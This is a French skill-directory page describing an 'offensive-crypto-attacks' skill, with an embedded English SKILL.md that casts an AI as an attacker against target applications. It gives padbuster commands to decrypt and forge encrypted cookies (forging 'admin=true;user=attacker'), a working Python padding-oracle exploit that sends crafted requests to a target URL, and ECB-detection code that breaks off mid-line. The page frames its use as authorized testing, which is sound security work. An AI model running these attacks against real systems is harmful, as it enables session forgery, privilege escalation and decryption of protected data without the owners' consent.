Aller au contenu
Skillpedia
Sécurité10k · #11953

offensive-crypto-attacks

Ce qu’il fait

Ce skill est une méthodologie pour repérer les usages défaillants de la cryptographie dans les applications, comme les modes faibles, les problèmes de remplissage et les signatures faibles. Il s'adresse aux professionnels de la sécurité qui examinent la manière dont une application utilise le chiffrement, avec autorisation.

Quand l’utiliser

  • ✓Quand vous examinez des cookies ou des jetons chiffrés dans un test d'application autorisé.
  • ✓Quand vous soupçonnez qu'une application utilise un mode de chiffrement faible ou un remplissage incorrect.
  • ✓Quand vous voulez vérifier comment une application construit ses empreintes ou ses liens signés pour repérer des points faibles.

Lien du skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/crypto/offensive-crypto-attacks/SKILL.md

Copiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.

Comment l’utiliser

Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.

Message prêt à coller

Utilise ce skill pour m’aider : https://github.com/SnailSploit/Claude-Red/blob/main/Skills/crypto/offensive-crypto-attacks/SKILL.md Lis le fichier SKILL.md de ce lien et suis ses instructions pour ma tâche.
Envie que votre IA trouve seule des skills comme celui-ci ?Installez le MCP gratuit de Skillpedia : une ligne, et elle cherche parmi 15 000+ skills avant chaque tâche.Installer en 1 minute →

Exemple de demande à votre IA

“Nous sommes autorisés à tester notre application web. Vérifie si ses cookies chiffrés utilisent un mode ou un remplissage faible.”

5 nouveaux skills par semaine. 1 minute de lecture.

Comment ça marche

Le skill identifie les endroits où les données sont chiffrées ou signées, puis détermine l'algorithme et le mode. Il classe la faiblesse trouvée et consigne la cause profonde et la correction.

Contenu technique (SKILL.md original)

Texte original de l’auteur, en anglais, directement depuis GitHub.

Cryptographic Implementation Attacks

You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.

Quick Workflow

  1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
  2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
  3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
  4. Select and configure the appropriate tool or custom script.
  5. Execute the attack, decrypt or forge the target value.
  6. Document the cryptographic weakness, its root cause, and the remediation path.

Padding Oracle Attacks

Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.

Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.

Use padbuster for automated exploitation against web applications:

# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid"

# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid" \
  -plaintext "admin=true;user=attacker"

Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)

ECB Block Manipulation

ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.

Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:

def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption
Questions fréquentes

Attaque-t-il les mathématiques du chiffrement ?

Non. Il se concentre sur la façon dont les développeurs utilisent la cryptographie, et non sur la casse des algorithmes sous-jacents.

Que recommande-t-il après avoir trouvé une faiblesse ?

Il documente la faiblesse, sa cause profonde et une piste de correction pour l'équipe.

Est-ce réservé aux tests autorisés ?

Oui. Il est écrit pour les évaluations où vous disposez d'une autorisation écrite.

Détails

Description originale de l’auteur

Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses wea

repo: SnailSploit/Claude-Red

Popularité

Étoiles GitHub
10k
Position au classement
#11953
Licence
MIT
Mis à jour
12/10/2026

Ce skill vous est-il utile ?

0

Connectez-vous pour voter.

Commentaires

  • …

Autres skills de ce dépôt

Skills similaires